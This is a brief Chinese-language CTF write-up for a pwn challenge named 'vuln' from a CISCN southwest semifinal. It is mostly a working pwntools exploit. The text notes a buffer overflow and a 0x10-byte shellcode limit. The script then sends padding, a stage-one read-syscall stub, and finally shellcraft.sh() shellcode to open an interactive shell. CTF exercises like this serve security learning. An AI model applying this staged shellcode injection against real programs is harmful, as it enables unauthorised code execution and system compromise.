CISCN--西南半决赛--pwn

1.vuln

这是主函数，数一下就发现可以溢出最后的0x4008d0

 

然后会执行到这里，逻辑就是在v0上写shellcode，不过执行写0x10，不够sh，很明显要先read。

以下是exp:

from pwn import *
context.arch='amd64'
io=process('./vuln')
io.recvuntil(b"input name:\n")
io.sendline(b'a'*39)
#gdb.attach(io)
#pause()
io.recv()
shell='xor rdi,rdi;lea rsi,[rdx+0x9];syscall;'
print(len(asm(shell)))
io.sendline(asm(shell))
#gdb.attach(io)
#pause()
io.sendline(asm(shellcraft.sh()))
io.interactive()